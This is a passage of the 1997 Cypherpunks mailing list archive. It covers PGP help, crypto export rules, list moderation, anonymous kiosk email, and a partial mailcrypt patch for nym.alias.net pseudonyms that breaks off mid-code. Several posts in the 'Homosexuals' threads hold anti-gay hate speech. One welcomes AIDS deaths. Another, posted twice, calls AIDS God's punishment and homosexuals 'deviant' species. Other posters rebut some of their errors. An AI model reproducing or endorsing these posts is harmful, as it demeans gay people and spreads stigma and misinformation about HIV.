>^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>	It is by caffeine alone that I set my mind in motion.
>	It is by the Mountain Dew that the thoughts acquire speed,
>	the lips acquire stains, the stains become a warning.
>	It is by caffeine alone that I set my mind in motion.
>===========================================================================
=====

try my site too http://gcwp.com/fadedimage

can anyone help me out with getting pgp working... I just got 2.6.2
excutable the freeware one and its for dos... I need to get one that works
with eudora or netscape.... please help!
        ,_    ,.    .`.---  . ,-,-,-.     ,---.      .---.
        |_   / |  ,-| |__ ,-|.`,| | |  ,-.|  -' ,-.,'\___
        |   /~~|-.| |,|   | ||  | ; | .,-||  ,-'|-'      \
        | ,'   `-'`-'`^---`-''  '   `-'`-^`---| `-'  `---'
        '                                  ,-.|
                                           `-+'
 ,-.  .       .,-.  .       .                       . ,-_/,.,--.
   |  |  ,-.,-|  |  |  ,-.,-|,-.,-.,-.,-.,-.. .,-.,-| ' |_|/|  |
   |  | .| || |  |  | .| || ||-'|  | ||  | || || || |  /| | | \|
   `--^-'' '`-'  `--^-'' '`-'`-''  `-|'  `-'`-'' '`-'  `' `'`--\
                                    ,|
                                    `'
                -= http://gcwp.com/fadedimage =-                






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 24 Jan 1997 13:12:40 -0800 (PST)
To: cypherpunks <dlv@bwalk.dm.com>
Subject: Re: Homosexuals
Message-ID: <199701242112.NAA07645@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199701241414.GAA25350@toad.com>, on 01/24/97 
   at 07:17 AM, "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> said:

+Anything?  My good friend TRRCJ3 reports from San Francisco that the
+city is much nicer now that so many homosexuals are 6 feet under.

+Thank God for AIDS.

        when AIDS was relatively obscure, I always dismissed AIDS as 
    God's response to homosexuality (and other crimes against nature); 
    i.e. -settlement by a just God.  

        Unfortunately, some of these boy-girls could not keep it among 
    themselves, and the closet queens brought it home.  AIDS replicates     
    asexually, knowing no boundaries.

        I would not wish the disease upon anyone, but if you play, you 
    just might pay --as in "...reap what thy hath sown."  

        One of the saddest commentaries on the entire problem is the 
    man, a Pan-American flight steward, who was identified as carrier 
    #1 by the Communicable Disease Center (CDC) in Atlanta; he died 
    protesting he did not have the disease, nor was he a carrier. The 
    flight steward was still sexually active until his impending death 
    removed even his ability to passively participate. Unfortunately, 
    he was not only in total denial as to the disease and its 
    communicability, but he was also immensely profligate, having 
    surrendered to total licentiousnous.

        To be strongly opposed to homosexuality has nothing to do with 
    bigotry, political correctness, or aberrationist apologists; it is
    an exposition of the natural order among the species.

        and for those who deny God, read Darwin as to the relative 
    rate of survival for deviant and/or abnormal species. 

  ==
  "eschewing my enmity is exemplary,
    even transcending my fraternity.
        --attila

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMukZO704kQrCC2kFAQHdVgP+K5WJPhgPDY3DJerIYHmz4PbsItrSQCF0
eoS2wyYVTG3PZ5YDhk+dRfn2OuhEE0n/vLiDlXakAjqQBtncyIF74pfE4mxn3DWC
1xLMJr9vFI7x0soX6sPIzSD9Yh0CyKHIk75r/RQk2T4doVoGSxJWbe0YKCItiGz4
PvH9hGh6F7E=
=A2up
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Sat, 25 Jan 1997 01:57:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Homosexuality
Message-ID: <199701250957.BAA23611@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Lou Zer <satan_is_a_hacker@juno.com> writes:

> Does any one know of any other good mailing Lists either with crypto or
> anything underground

Perhaps we should start an unmoderated list and call it "cypherpunks".
Or create alt.cypherpunks.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Zer <satan_is_a_hacker@juno.com>
Date: Sat, 25 Jan 1997 01:55:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Comments
Message-ID: <199701250955.BAA23530@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


All comments on my article will be welcome and replied to.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Campbell <wcampbel@peganet.com>
Date: Sat, 25 Jan 1997 01:55:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Anyone have info on foreign "ITARS"
Message-ID: <199701250955.BAA23545@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone have any pointers to info about the import/export
restrictions on encryption products in various countries. I know any
such summary would be very dynamic, but perhaps there's something
out there.

Thanks!

=Bill=





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 25 Jan 1997 02:11:38 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: Rejection policy of the Cypherpunks maiing list
Message-ID: <199701251011.CAA23822@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Cynthia H. Brown wrote:
> Beauty, flames and censorship are all in the eyes of the beholder.
> However, by providing both "raw" and "cooked" versions of the list, Sandy
> is allowing readers to choose for themselves whether or not they want
> someone else's filters applied to their mailbox.  Personally, I choose to
> press the "Delete" key myself.
> Agreed, and said private individual can do as s/he sees fit.  My only
> objection is that the moderated version has the same name as the original
> list (sounds like Rogers Cable's recent attempt at "Costs More Unless You
> Speak Up Now" channels).

I apologize for intruding, Cynthia, but I have a question about "doing
as s/he sees fit".  For example, what is the list?  Is it the equipment,
is it the software that runs on the equipment, or is it the contents of
the list (my writings, your writings, etc.)?  If I had to rank them, I
would rank the contents as being more important than the equipment or
the software.  That said, how can those contents be considered the
property of the list owner/manager to do with as they see fit?

I do understand that they have the right to manage the list as they see
fit, and to move the messages into whatever buckets seem appropriate,
but your phrasing suggested more to me, and I'm puzzled by it.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 25 Jan 1997 02:11:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: testing email from airport kiosk
Message-ID: <199701251011.CAA23844@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


An update on the SF airport kiosk email machines:
Judging from the headers, there _is_ a Linux machine driving
the laptops, and there's a Metricom ricochet modem
providing the communications path - interesting alternative to wires,
and I guess they don't mind having the extra radio waves in the airport.
It does support anonymous email, in that you can type in
any email address you want, and it doesn't seem to mind.
In addition to limited web, telnet,  and outgoing email, 
it lets you retrieve email with POP3.  Doesn't seem to be a way
to get it to run a program, though :-) 
---------------------------------
Return-Path: <johndoe@airport.sf.na>
Received: from linux.quickaid.com (root@www.quickaid.com [204.188.26.11])
by ixmail4.ix.netcom.com (8.7.5/SMI-4.1/Netcom)
	id VAA18934; Wed, 22 Jan 1997 21:59:22 -0800 (PST)
From: johndoe@airport.sf.na
Received: from SFO-00-6.ricochet.net ([204.254.16.39]) by
linux.quickaid.com (8.6.12/8.6.9) with SMTP id WAA22004 for
<stewarts@ix.netcom.com>; Wed, 22 Jan 1997 22:00:13 -0800
Message-Id: <199701230600.WAA22004@linux.quickaid.com>
Date: Wed, 22 Jan 1997 21:58:40
To: stewarts@ix.netcom.com
Subject: testing email from airport kiosk
X-Mailer: QuickAID Kiosk

who am i


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 25 Jan 1997 02:11:35 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701251011.CAA23818@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:38 PM 1/23/97 -0600, Jim Choate wrote:
>> We here all know that this is right but it's obvious that
>> the language is sliding towards Internet = Web. Most people
>
>Typical modern American attitude, getting it right is too much work so 
>let's lower the benchmark so anyone can be 'right'. 
>You'll be supporting Ebonics next.

One of the points of the Ebonics program is to recognize that
other people don't always speak the same way you do, and that
if you want to communicate with them, you'll be more successful
if you realize it, understand when they're talking in their dialect,
and if you're going to talk back to them in yours, remember to
translate on occasion.  _Regardless_ of whose dialect is "right"
(of course on technical issues, we technical people are right,
but if you've got the hacker nature, treat it as a problem in
social engineering.......)

					Speaker to Marketers






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 24 Jan 1997 14:43:04 -0800 (PST)
To: aga <cypherpunks@toad.com>
Subject: Re: Homo/bi/sexuals Most Destructive
Message-ID: <199701242243.OAA10355@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


     aga's original message follows pgp-----

-----BEGIN PGP SIGNED MESSAGE-----

        when AIDS was relatively obscure, I always dismissed AIDS as 
    God's response to homosexuality (and other crimes against nature); 
    i.e. -settlement by a just God.  

        Unfortunately, some of these boy-girls could not keep it among 
    themselves, and the closet queens brought it home.  AIDS replicates     
    asexually, knowing no boundaries.

        I would not wish the disease upon anyone, but if you play, you 
    just might pay --as in "...reap what thy hath sown."  

        One of the saddest commentaries on the entire problem is the 
    man, a Pan-American flight steward, who was identified as carrier 
    #1 by the Communicable Disease Center (CDC) in Atlanta; he died 
    protesting he did not have the disease, nor was he a carrier. The 
    flight steward was still sexually active until his impending death 
    removed even his ability to passively participate. Unfortunately, 
    he was not only in total denial as to the disease and its 
    communicability, but he was also immensely profligate, having 
    surrendered to total licentiousnous.

        To be strongly opposed to homosexuality has nothing to do with 
    bigotry, political correctness, or aberrationist apologists; it is
    an exposition of the natural order among the species.

        and for those who deny God, read Darwin as to the relative 
    rate of survival for deviant and/or abnormal species. 

  ==
  "eschewing my enmity is exemplary,
    even transcending my fraternity.
        --attila

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMukqX704kQrCC2kFAQGsDAQAxAMLt2JwaKqfz1Kw5IMf+EAQnQaoxpzR
LtyTbCEvwhZRymfFwLZPj3P9Ph074ufOv0r/EmntvF2KmTETWM7k8ol5EySGjCbf
2mytxMy5VQiy5TBJWCvnxwdp/UjACtBM1sY8X16UyMLSE0tyzy4k3sF0TmPPkKdG
FUQZzjXwYfQ=
=TNlj
-----END PGP SIGNATURE-----

In <Pine.LNX.3.95.970116062523.30623C-100000@dhp.com>, on 01/16/97 
   at 06:28 AM, aga <aga@dhp.com> said:

+> "Who Are The Patients?
+>    "In the United States, homosexual and bisexual males make up >
+approximately 62 percent of the total patients. The other major group >
+afflicted with AIDS are intravenous drug abusers -- both men and women
+--
+> who constitute 20 percent of the total. . . ."
+> 
+> "ADULTS AND ADOLESCENTS WITH AIDS, 1981-87
+> ==================================  Males  %  Females  %  Both sexes  
+% > Homosexual/bisexual males          50,325 68           0     
+50,325  62 > Intravenous (IV) drug abusers      12,529 17    3,622 52     
+16,151  20 > Homosexual male an IV drug abusers  5,874  8                  
+5,874   7 > Hemophilia/coagulation disorder       751  1       22  0        
+773   1 > Heterosexuals                       1,516  2    2,073 30      
+3,589   4 > Blood transfusion                   1,297  2      747 11      
+2,044   3 > Undetermined (1)                    2,143  3      519  7      
+2,662   3 > TOTAL                              74,435 91    6,983  9     
+81,418 100 >
+=========================================================================
+> "Note:  Provisional data.  Cases with more than one risk factor than
+the > combinations listed are tabulated only in the category listed
+first. > (1) Includes patients on whom risk information is incomplete,
+patients > still under investigation, men reported only to have had
+heterosexual > contact with a prostitute, and patients for whom no
+specific risk was > identified; also includes one health care worker
+who developed AIDS after > a documented needle-stick to blood. Source:
+Centers for Disease Control." >
+=========================================================================
+> Cited in "The Universal Almanac 1990", Andrews and McMeel, 1989. >
+=========================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sat, 25 Jan 1997 01:58:46 -0800 (PST)
To: Jim Choate <cypherpunks@toad.com
Subject: Re: Homo/bi/sexuals Most Destructive (fwd)
Message-ID: <199701250958.BAA23620@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 06:11 PM 1/24/97 -0600, Jim Choate wrote:
>
>Forwarded message:
>
>> Date: Fri, 24 Jan 97 21:33:41 +0000
>> From: "Attila T. Hun" <attila@primenet.com>
>> Subject: Re: Homo/bi/sexuals Most Destructive
>
>Much drivel about AIDS deleted.
>
>>         One of the saddest commentaries on the entire problem is the 
>>     man, a Pan-American flight steward, who was identified as carrier 
>>     #1 by the Communicable Disease Center (CDC) in Atlanta; he died 
>
>The correct term is 'Patient 0'.
>
>                                           


Also he was an Air Canada steward.

DCF
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Version: 4.5

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VnG2L9UL2zg=
=QN46
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sat, 25 Jan 1997 01:57:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Homo/bi/sexuals Most Destructive (fwd)
Message-ID: <199701250957.BAA23606@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> From satan_is_a_hacker@juno.com Fri Jan 24 22:06:53 1997
> Subject: Re: Homo/bi/sexuals Most Destructive (fwd)
> Date: Fri, 24 Jan 1997 22:57:52 EST
> 
> YOU ARE BOTH WRONG   THE CORRECT TERM IS INDEX CASE

> >The correct term is 'Patient 0'.

You are welcome to contact the CDC in Georgia and correct their terminology.
I am shure they would appreciate it.

http://www.cdc.gov/ 

Their webpage search capability is temporarily down so you might have to
talk to a real person,

Center for Disease Control and Prevention
1600 Clifton Rd., NE.
Atlanta, GA  30333
404-639-3311

                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sat, 25 Jan 1997 01:57:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: overview.htm
Message-ID: <199701250957.BAA23609@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



   
     _________________________________________________________________
   
                             OVERVIEW OF HIV/AIDS
                                       
   
     _________________________________________________________________
   
   Some important facts about the evidence that HIV causes AIDS are:
   
     * Tests for HIV antibody in persons with AIDS show that they are
       infected with the virus.
       
       
       
     * HIV has been isolated from persons with AIDS and grown in pure
       culture.
       
       
       
     * Studies of blood transfusion recipients before 1985 documented the
       transmission of HIV to previously uninfected persons who
       subsequently developed AIDS.
       
   
   
   Before the discovery of human immunodeficiency virus (HIV), the virus
   that causes AIDS, epidemiologic studies of AIDS patients' sex partners
   and AIDS cases occurring in blood transfusion recipients before 1985
   clearly showed that the underlying cause of AIDS was an infectious
   agent. Infection with HIV has been the only common factor shared by
   persons with AIDS throughout the world, including homosexual men,
   transfusion recipients, persons with hemophilia, sex partners of
   infected persons, children born to infected women, and health care
   workers who were infected with HIV while on the job, mainly by being
   stuck with a needle used on an HIV-infected patient.
   
   
   
   Although we know that HIV is the cause of AIDS, much remains to be
   known about exactly how HIV causes the immune system to break down.
   Scientists are constantly discovering more information about HIV and
   AIDS. These discoveries help people learn how to stop transmission of
   the virus and help people infected with HIV to live longer, healthier
   lives. One important question to answer is why some people exposed to
   HIV become infected and others do not. Scientists believe it is most
   likely because of how infectious the other person is and how they are
   exposed. For example, more than 90 percent of persons who were exposed
   through an HIV-infected unit of blood became infected. So we know that
   blood-to-blood contact is a very efficient way that HIV is spread. On
   the other hand, many health care workers are splashed with blood or
   bloody body fluids and this type of exposure has caused very few
   occurrences of HIV infection. Researchers know how HIV is spread and
   the ways that people can help protect themselves from being exposed to
   HIV.
   
   
   
   If you have questions about HIV infection and AIDS, please call the
   CDC National AIDS Hotline at the tollfree number, 1-800-342-2437. If
   you wish to write to CDC regarding this subject, please write to the
   CDC National AIDS Clearinghouse, Post Office Box 6003, Rockville,
   Maryland, 20849-6003.
   
   
     _________________________________________________________________
   
        Back to HIV/AIDS Information Return to HIV/AIDS Information
        
        Back to DHAP home page GO BACK TO DHAP HOME PAGE
        
        (with graphics)
        (text only)
        
   
   
   
   
   
     _________________________________________________________________
   
   
    Last Updated: June 13, 1996
    Updated By: Technical Information Activity
    email: hivmail@cidhiv1.em.cdc.gov





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: no_one@nowhere.org
Date: Sat, 25 Jan 1997 01:56:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Homo/bi/sexuals Most Destructive (fwd)
Message-ID: <199701250956.BAA23557@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


In article <199701250026.QAA13770@toad.com>, ravage@einstein.ssz.com (Jim
Choate) wrote:

> Much drivel about AIDS deleted.
>
> >         One of the saddest commentaries on the entire problem is the
> >     man, a Pan-American flight steward, who was identified as carrier
> >     #1 by the Communicable Disease Center (CDC) in Atlanta; he died
>
> The correct term is 'Patient 0'.

   And the CDC is the Centers for Disease Control; and it has since found
many, many prior cases of AIDS. These three minor errors are indicative of
Attila's reliability of the subject. Of course, no one at CDC or NIH
believes any of this crap; it was tired a decade ago.

ObCrypto? How to implement RL anonymity protocols for medical treatment?
(Of course I'm stretching it - but "carriers" were the *first* horseman.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Sat, 25 Jan 1997 01:58:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Encrypting ZIP disks
Message-ID: <199701250958.BAA23622@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

"David E. Smith" <dsmith@prairienet.org> writes:
> 7.  Secure sensitive files.
>      To keep sensitive or confidential information safe, store it
>      on a Zip disk and use your Zip Tools software to assign a
>      password that must be used in order to read from or write to
>      the disk.  At work, you can protect sensitive information
>      such as personnel files, company directories, and product
>      plans and designs.  At home, you can secure personal
>      information such as tax records, budgets, and computerized
>      checkbooks.

FWIW (not much), Iomega claims that it can't recover the data on a
password-protected disk. However, they do export those things, so I
doubt it's strong.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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39D0q+UT8sS3YsMaeL6GqfEo04lsnQwAUWtI0I8/FcqYlWVGxwsOAboK3BZmJz40
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 25 Jan 1997 02:10:45 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: PSS_sst
Message-ID: <199701251010.CAA23794@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 25 Jan 1997 02:11:54 -0800 (PST)
To: fuck you <satan_is_a_hacker@juno.com>
Subject: Re: [No Subject:]
Message-ID: <199701251011.CAA23842@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi!  It's useful to include a subject line in email so people
can decide whether to read it and have more context for it,
though calling yourself "fuck you" will probably deter a few people.
There are lots of anarchists on the net; you can run into some good
discussions on Usenet on several newsgroups with "anarchy" or "anarchism"
in the titles.  Rec.caves has good underground material......

As far as decryption tools goes, they're pretty closely related
to encryption algorithms.  There's been a discussion, probably on
cryptography@c2.org (subscribe via cryptography-request@c2.org)
though maybe it was on cypherpunks, about designing a screen-saver
DES-cracker.


At 11:47 PM 1/23/97 EST, fuck you wrote:
>If anyone has any text files on the following topics please send them. I
>have many files if any one else needs them.
>
>PGP
>Making decryption tools
>Anarchy
>Satan
>Anything underground
>
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@veriweb.com>
Date: Sat, 25 Jan 1997 07:55:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mailcrypt nym.alias.net support
Message-ID: <199701251555.HAA28063@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

For those of you who use mailcrypt (Emacs-PGP interface) for email, I
have hacked in support for pseudonyms ala nym.alias.net. In fact,
the code has nym.alias.net hardcoded for now. I'm gonna add more stuff,
but I'm just letting this out as is.

This patch affects mailcrypt.el and mc-remail.el. I made these changes
to mailcrypt 3.4, so your mileage may vary on other versions. I did
this after the C2 party tonight, so typos and bugs are possible. Please
email me if bugs are found. "This value is not configureable" does not
qualify, I know it's not configureable yet.

(BTW there are a couple functions not used, I was doing it one way, then
changed my way of thinking, but the code is ok so I left it.)


Installing it:

 o cd to your lisp directory

 o cat /path/to/the/patch | patch -p0, or something similar
   (You will need to pgp this message before extracting the patch
    to get rid of the leading "- " on some lines.)

 o recompile the .el files, ala:

   emacs -batch -f batch-byte-compile mc-remail.el
   emacs -batch -f batch-byte-compile mailcrypt.el


Using it:

 o You _must_ have a remailer chain defined. This does not work
   with a single remailer (though a chain of length 1 might work).

 o Compose a message or reply as normal. Once you are done (the message
   would go out without nyms or remailers or anything if you hit
   C-c C-c), hit C-c / n.

 o The first question asks for a remailer chain, it will do completions.

 o The second question asks for the name of your nym. This is assumed
   to be @nym.alias.net, DO NOT include @nym.alias.net. If your nym
   is jimbob@nym.alias.net, just answer jimbob. This does not do 
   completions at the moment. Putting your nym in your .emacs file
   is a bit weird anyway.

 o You will be asked for a signature for your nym's private key.

 o The message will be rewritten to send@nym.alias.net and then
   to the remailer chain you chose.

 o Send it.


Hack the code at will, if you make significant enhancements, please
email patches to me. Of course there is no warranty of any sort, if
it blows up your machine you're out a machine.


I will put this on my web page (http://www.veriweb.com/people/jeremey)
for those that prefer that.

Ok, here's the patch:

- ---------------------------------cut here-----------------------------------
*** mailcrypt.el	Tue Oct 10 12:33:45 1995
- --- /usr/home/jeremey/PGP/mailcrypt-3.4/mailcrypt.el	Sat Jan 25 02:45:27 1997
***************
*** 51,56 ****
- --- 51,57 ----
  (autoload 'mc-sign "mc-toplev" nil t)
  (autoload 'mc-insert-public-key "mc-toplev" nil t)
  (autoload 'mc-remailer-encrypt-for-chain "mc-remail" nil t)
+ (autoload 'mc-remailer-encrypt-for-nym "mc-remail" nil t)
  (autoload 'mc-remailer-insert-response-block "mc-remail" nil t)
  (autoload 'mc-remailer-insert-pseudonym "mc-remail" nil t)
  
***************
*** 101,107 ****
        (define-key mc-write-mode-map "\C-c/b"
  	'mc-remailer-insert-response-block)
        (define-key mc-write-mode-map "\C-c/p"
! 	'mc-remailer-insert-pseudonym)))
  
  (easy-menu-define
   mc-read-mode-menu (if mc-xemacs-p nil (list mc-read-mode-map))
- --- 102,110 ----
        (define-key mc-write-mode-map "\C-c/b"
  	'mc-remailer-insert-response-block)
        (define-key mc-write-mode-map "\C-c/p"
! 	'mc-remailer-insert-pseudonym)
!       (define-key mc-write-mode-map "\C-c/n"
! 	'mc-remailer-encrypt-for-nym)))
  
  (easy-menu-define
   mc-read-mode-menu (if mc-xemacs-p nil (list mc-read-mode-map))
*** mc-remail.el	Wed Oct  4 15:45:56 1995
- --- /usr/home/jeremey/PGP/mailcrypt-3.4/mc-remail.el	Sat Jan 25 02:44:16 1997
***************
*** 378,383 ****
- --- 378,401 ----
  	  (re-search-forward "^$" nil 'move)
  	  (cons (copy-marker start) (copy-marker (point)))))))
  
+ (defun mc-find-nym-from-header (name subject &optional insert)
+   ;; Find the header with a "::" immediately after the
+   ;; mail-header-separator.  Return region enclosing header.  Optional
+   ;; arg INSERT means insert the header if it does not exist already.
+   (save-excursion
+     (goto-char (point-min))
+     (re-search-forward
+      (concat "^" (regexp-quote mail-header-separator) "\n"))
+     (if (or (and (looking-at "From") (forward-line 1))
+ 	    (and insert
+ 		 (progn
+ 		   (insert-before-markers 
+ 		    (concat "From: " name "\nTo: \nSubject:" subject "\n\n"))
+ 		   (forward-line -1))))
+ 	(let ((start (point)))
+ 	  (re-search-forward "^$" nil 'move)
+ 	  (cons (copy-marker start) (copy-marker (point)))))))
+ 
  (defun mc-find-hash-header (&optional insert)
    (save-excursion
      (goto-char (point-min))
***************
*** 400,411 ****
- --- 418,442 ----
  (defsubst mc-replace-main-field (field replacement)
    (mc-replace-field field replacement (mc-find-main-header t)))
  
+ (defsubst mc-nuke-main-field (field)
+   (mc-nuke-field field (mc-find-main-header t)))
+ 
  (defsubst mc-replace-hash-field (field replacement)
    (mc-replace-field field replacement (mc-find-hash-header t)))
  
  (defsubst mc-replace-colon-field (field replacement)
    (mc-replace-field field replacement (mc-find-colon-header t)))
  
+ (defsubst mc-insert-nym-header (replacement)
+   (mc-find-nym-from-header replacement 
+ 			   (cdr (car (mc-get-fields "Subject" 
+ 						    (mc-find-main-header)))) t)
+   (mc-replace-main-field "To" "send@nym.alias.net")
+   (mc-nuke-main-field "Cc")
+   (mc-nuke-main-field "Organization")
+   (mc-nuke-main-field "Subject")
+   (mc-nuke-main-field "From"))
+ 
  (defun mc-recipient-is-remailerp ()
    (let ((to (mc-get-fields "To" (mc-find-main-header))))
      (and to
***************
*** 516,521 ****
- --- 547,568 ----
  	(setq pseudonym (concat pseudonym " <x@x.x>")))
      (mc-replace-colon-field "From" pseudonym)))
  
+ (defun mc-remailer-insert-nym-nym ()
+   "Insert pseudonym as a From field in the hash-mark header.
+ 
+ See the documentation for the variable `mc-remailer-pseudonyms' for
+ more information."
+   (interactive)
+   (let ((completion-ignore-case t)
+ 	pseudonym)
+     (setq pseudonym
+ 	  (cond ((null mc-remailer-pseudonyms)
+ 		 (read-from-minibuffer "Pseudonym: "))
+ 		(t
+ 		 (completing-read "Pseudonym: "
+ 				  (mapcar 'list mc-remailer-pseudonyms)))))
+     (mc-insert-nym-header pseudonym)))
+ 
  ;;}}}
  ;;{{{ Mixmaster support
  (defvar mc-mixmaster-path nil
***************
*** 730,735 ****
- --- 777,826 ----
        (error "Unable to encrypt message to %s"
  	     (mc-remailer-userid remailer)))))
  
+ (defun mc-rewrite-for-nym-internal (nym &optional pause)
+   ;; Rewrite the current mail buffer for nym.alias.net.  This
+   ;; includes pulling down the To: and Subject: headers, changing
+   ;; the To: header, and encrypting to send@nym.alias.net and signing 
+   ;; with the nym's key. This should be used only as part of
+   ;; mc-rewrite-for-nym since it will subsequently chain the message
+   ;; through a set of remailers.
+   (let ((addr "send@nym.alias.net")
+ 	(main-header (mc-find-main-header)))
+ 
+     ;; Move "Subject" lines down.
+     (goto-char (cdr main-header))
+     (forward-line 1)
+     (mapcar
+      (function (lambda (f) (insert (car f) ":" (cdr f))))
+      (mc-get-fields "Subject" main-header t))
+     (insert "\n")
+ 
+     ;; Move "To" lines down.
+     (goto-char (cdr main-header))
+     (forward-line 1)
+     (mapcar
+      (function (lambda (f) (insert (car f) ":" (cdr f))))
+      (mc-get-fields "To" main-header t))
+ 
+     ;; Insert "From" for nym.alias.net
+     (goto-char (cdr main-header))
+     (forward-line 1)
+     (insert (concat "From: " nym "\n"))
+ 
+     (goto-char (car main-header))
+     (insert "To: send@nym.alias.net\n")
+ 
+     (if pause
+ 	(let ((cursor-in-echo-area t))
+ 	  (message "SPC to encrypt for %s : " addr)
+ 	  (read-char-exclusive)))
+     (setq main-header (mc-find-main-header))
+     (goto-char (cdr main-header))
+     (forward-line 1)
+     (let ((mc-encrypt-for-me nil))
+       (mc-encrypt-message "send@nym.alias.net" nil (point) nil 
+ 			  (concat nym "@nym.alias.net") t))))
+ 
  (defun mc-rewrite-for-chain (chain &optional pause)
    ;; Rewrite the current buffer for a chain of remailers.
    ;; CHAIN must be in canonical form.
***************
*** 744,749 ****
- --- 835,856 ----
  	  (mc-rewrite-for-remailer (car chain) pause)
  	(mc-rewrite-for-mixmaster chain pause)))))
  
+ (defun mc-rewrite-for-nym (nym chain &optional pause)
+   ;; Rewrite the current buffer for nym.alias.net through a
+   ;; chain of remailers. CHAIN must be in canonical form.
+   ;; nym is assumed to be the nym's name WITHOUT @nym.alias.net on it.
+   (let (rest)
+     (if mc-mixmaster-path
+ 	(setq rest (mc-mixmaster-skip chain))
+       (setq rest chain))
+     (if (null chain) nil
+       (mc-rewrite-for-nym-internal nym pause)
+       (mc-rewrite-for-chain
+        (if (eq rest chain) (cdr rest) rest) pause)
+       (if (eq rest chain)
+ 	  (mc-rewrite-for-remailer (car chain) pause)
+ 	(mc-rewrite-for-mixmaster chain pause)))))
+ 
  (defun mc-unparse-chain (chain)
    ;; Unparse CHAIN into a string suitable for printing.
    (if (null chain)
***************
*** 782,787 ****
- --- 889,926 ----
  	   (cdr (assoc chain-name chains))
  	   chains))
      (mc-rewrite-for-chain chain pause)
+     (if chain
+ 	(save-excursion
+ 	  (set-buffer buffer)
+ 	  (erase-buffer)
